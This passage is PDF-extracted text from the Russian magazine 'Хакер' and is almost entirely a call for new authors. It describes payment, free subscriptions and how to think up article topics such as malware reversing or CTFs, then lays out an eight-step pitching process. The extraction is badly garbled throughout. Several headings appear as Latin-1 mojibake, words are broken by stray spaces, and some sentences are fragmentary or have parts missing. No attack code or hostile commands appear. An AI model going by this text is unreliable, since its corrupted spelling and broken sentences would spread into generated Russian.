инверсии) мож но ска чать с тех же сай тов, не забыв поменять филь тры.
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СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции
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